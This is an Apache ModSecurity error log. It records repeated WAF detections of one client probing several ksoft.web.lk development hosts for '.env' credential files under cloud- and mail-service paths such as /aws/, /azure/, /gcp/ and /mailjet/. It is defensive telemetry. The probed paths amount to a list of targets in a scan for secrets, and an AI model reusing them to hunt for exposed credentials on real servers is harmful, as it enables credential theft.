[Fri Jul 17 09:14:31.438246 2026] [security2:error] [pid 2036488:tid 2036488] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /release/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/release/.env"] [unique_id "almlH7EKozcCJ-ReuK0F9wAAAAg"]
[Fri Jul 17 09:14:31.439501 2026] [security2:error] [pid 2036488:tid 2036488] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/release/.env"] [unique_id "almlH7EKozcCJ-ReuK0F9wAAAAg"]
[Fri Jul 17 09:14:31.499613 2026] [security2:error] [pid 1993619:tid 1993619] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /mailjet/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/mailjet/.env"] [unique_id "almlH41dLClkUfK_dfHn4wAAAAI"]
[Fri Jul 17 09:14:31.499859 2026] [security2:error] [pid 1993619:tid 1993619] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/mailjet/.env"] [unique_id "almlH41dLClkUfK_dfHn4wAAAAI"]
[Fri Jul 17 09:14:31.500125 2026] [security2:error] [pid 1993619:tid 1993619] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlH41dLClkUfK_dfHn4wAAAAI"]
[Fri Jul 17 09:14:31.654238 2026] [security2:error] [pid 2036488:tid 2036488] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlH7EKozcCJ-ReuK0F9wAAAAg"]
[Fri Jul 17 09:14:31.668593 2026] [security2:error] [pid 2018757:tid 2018757] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /brevo/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/brevo/.env"] [unique_id "almlH0kXT4NBqALj2lZ_5AAAABA"]
[Fri Jul 17 09:14:31.668845 2026] [security2:error] [pid 2018757:tid 2018757] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/brevo/.env"] [unique_id "almlH0kXT4NBqALj2lZ_5AAAABA"]
[Fri Jul 17 09:14:31.669108 2026] [security2:error] [pid 2018757:tid 2018757] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlH0kXT4NBqALj2lZ_5AAAABA"]
[Fri Jul 17 09:14:31.826547 2026] [security2:error] [pid 1993572:tid 1993572] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /releases/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/releases/.env"] [unique_id "almlH4l9vhFBGA6D8l99LAAAAAw"]
[Fri Jul 17 09:14:31.828477 2026] [security2:error] [pid 1993572:tid 1993572] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/releases/.env"] [unique_id "almlH4l9vhFBGA6D8l99LAAAAAw"]
[Fri Jul 17 09:14:31.834387 2026] [security2:error] [pid 2030804:tid 2030804] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almlH4e39YUk0SgV8AU9QQAAABE"], referer: http://anandaobauae.org/?C=N;O=Auploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 09:14:31.834425 2026] [security2:error] [pid 2030804:tid 2030804] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almlH4e39YUk0SgV8AU9QQAAABE"], referer: http://anandaobauae.org/?C=N;O=Auploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 09:14:31.839436 2026] [security2:error] [pid 2030774:tid 2030774] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /transactional/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/transactional/.env"] [unique_id "almlHxHlOGcokz2QIwTWZgAAAAM"]
[Fri Jul 17 09:14:31.839698 2026] [security2:error] [pid 2030774:tid 2030774] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/transactional/.env"] [unique_id "almlHxHlOGcokz2QIwTWZgAAAAM"]
[Fri Jul 17 09:14:31.839919 2026] [security2:error] [pid 2030774:tid 2030774] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlHxHlOGcokz2QIwTWZgAAAAM"]
[Fri Jul 17 09:14:31.887216 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:14:32.010705 2026] [security2:error] [pid 2032156:tid 2032156] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /bulk/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/bulk/.env"] [unique_id "almlIK14q1EBnanVMYGnCQAAAAk"]
[Fri Jul 17 09:14:32.010991 2026] [security2:error] [pid 2032156:tid 2032156] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/bulk/.env"] [unique_id "almlIK14q1EBnanVMYGnCQAAAAk"]
[Fri Jul 17 09:14:32.011265 2026] [security2:error] [pid 2032156:tid 2032156] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlIK14q1EBnanVMYGnCQAAAAk"]
[Fri Jul 17 09:14:32.058987 2026] [security2:error] [pid 1993572:tid 1993572] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlH4l9vhFBGA6D8l99LAAAAAw"]
[Fri Jul 17 09:14:32.181782 2026] [security2:error] [pid 1993671:tid 1993671] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /aws/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/aws/.env"] [unique_id "almlIA5GPQ6hs4VrfMpE-AAAAAY"]
[Fri Jul 17 09:14:32.182147 2026] [security2:error] [pid 1993671:tid 1993671] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/aws/.env"] [unique_id "almlIA5GPQ6hs4VrfMpE-AAAAAY"]
[Fri Jul 17 09:14:32.182495 2026] [security2:error] [pid 1993671:tid 1993671] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlIA5GPQ6hs4VrfMpE-AAAAAY"]
[Fri Jul 17 09:14:32.226639 2026] [security2:error] [pid 2029579:tid 2029579] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /shared/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/shared/.env"] [unique_id "almlICRF0UOO1RzB5_8xTAAAAA4"]
[Fri Jul 17 09:14:32.227914 2026] [security2:error] [pid 2029579:tid 2029579] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/shared/.env"] [unique_id "almlICRF0UOO1RzB5_8xTAAAAA4"]
[Fri Jul 17 09:14:32.349654 2026] [security2:error] [pid 2013830:tid 2013830] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /azure/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/azure/.env"] [unique_id "almlIARRrtuZqNDDSqWzPgAAABo"]
[Fri Jul 17 09:14:32.349905 2026] [security2:error] [pid 2013830:tid 2013830] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/azure/.env"] [unique_id "almlIARRrtuZqNDDSqWzPgAAABo"]
[Fri Jul 17 09:14:32.350131 2026] [security2:error] [pid 2013830:tid 2013830] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlIARRrtuZqNDDSqWzPgAAABo"]
[Fri Jul 17 09:14:32.391409 2026] [security2:error] [pid 2029579:tid 2029579] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlICRF0UOO1RzB5_8xTAAAAA4"]
[Fri Jul 17 09:14:32.518342 2026] [security2:error] [pid 2030804:tid 2030804] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /gcp/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/gcp/.env"] [unique_id "almlIIe39YUk0SgV8AU9QgAAABE"]
[Fri Jul 17 09:14:32.518644 2026] [security2:error] [pid 2030804:tid 2030804] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/gcp/.env"] [unique_id "almlIIe39YUk0SgV8AU9QgAAABE"]
[Fri Jul 17 09:14:32.518953 2026] [security2:error] [pid 2030804:tid 2030804] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlIIe39YUk0SgV8AU9QgAAABE"]
[Fri Jul 17 09:14:32.561902 2026] [security2:error] [pid 2030774:tid 2030774] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /deploy/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/deploy/.env"] [unique_id "almlIBHlOGcokz2QIwTWZwAAAAM"]
[Fri Jul 17 09:14:32.563846 2026] [security2:error] [pid 2030774:tid 2030774] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/deploy/.env"] [unique_id "almlIBHlOGcokz2QIwTWZwAAAAM"]
[Fri Jul 17 09:14:32.691184 2026] [security2:error] [pid 2013829:tid 2013829] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /cloud/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/cloud/.env"] [unique_id "almlIA7FYe46zHK_jL3TDAAAABk"]
[Fri Jul 17 09:14:32.691480 2026] [security2:error] [pid 2013829:tid 2013829] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/cloud/.env"] [unique_id "almlIA7FYe46zHK_jL3TDAAAABk"]
[Fri Jul 17 09:14:32.691769 2026] [security2:error] [pid 2013829:tid 2013829] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlIA7FYe46zHK_jL3TDAAAABk"]
[Fri Jul 17 09:14:32.779220 2026] [security2:error] [pid 2030774:tid 2030774] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlIBHlOGcokz2QIwTWZwAAAAM"]
[Fri Jul 17 09:14:32.858498 2026] [security2:error] [pid 2018768:tid 2018768] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /infrastructure/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/infrastructure/.env"] [unique_id "almlIFCBpfuYyhJ140vV0gAAAB4"]
